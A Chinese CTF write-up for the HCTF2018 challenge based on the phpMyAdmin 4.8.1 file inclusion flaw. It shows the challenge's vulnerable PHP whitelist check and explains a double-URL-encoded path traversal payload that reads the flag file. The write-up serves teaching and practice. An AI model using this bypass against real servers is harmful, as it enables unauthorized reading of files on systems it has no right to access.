分享

HCTF2018

 新用户88342ytu 2020-10-13

这个题目原型是phpmyadmin4.8.1的任意文件包含漏洞

 点击hint进入,得到提示flag在ffffllllaaaagggg中,并发现URL格式为XXX/index.php?file=hint.php,顺势猜一下file=source.php有没有结果。得到如下

  1. <?php
  2. class emmm
  3. {
  4. public static function checkFile(&$page)
  5. {
  6. $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
  7. if (! isset($page) || !is_string($page)) {
  8. echo "you can't see it";
  9. return false;
  10. }
  11. if (in_array($page, $whitelist)) {
  12. return true;
  13. }
  14. $_page = mb_substr(
  15. $page,
  16. 0,
  17. mb_strpos($page . '?', '?')
  18. );
  19. if (in_array($_page, $whitelist)) {
  20. return true;
  21. }
  22. $_page = urldecode($page);
  23. $_page = mb_substr(
  24. $_page,
  25. 0,
  26. mb_strpos($_page . '?', '?')
  27. );
  28. if (in_array($_page, $whitelist)) {
  29. return true;
  30. }
  31. echo "you can't see it";
  32. return false;
  33. }
  34. }
  35. if (! empty($_REQUEST['file'])
  36. && is_string($_REQUEST['file'])
  37. && emmm::checkFile($_REQUEST['file'])
  38. ) {
  39. include $_REQUEST['file'];
  40. exit;
  41. } else {
  42. echo "<br><img src=\"https://i./2018/11/01/5bdb0d93dc794.jpg\" />";
  43. }
  44. ?>

开头部分要求设定了$page,且$page的内容要在whiteList里。

mb_substr($page,0,mb_strpos($page,'?','?'))表示以?分割然后取出前面的字符串再判断值是否存在于whilelist中。

接着对$page进行一次URLdecode之后,再判断一次。

最后当以下三个条件同时为真时,包含file

1.$_request['file']不为空

2.$_request['file']是字符串

3.上面定义的checkfile方法返回值为真

最终payload:file=source.php%253f/../../../../../ffffllllaaaagggg

 

 

    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。
    转藏 分享 献花(0

    0条评论

    发表

    请遵守用户 评论公约

    类似文章 更多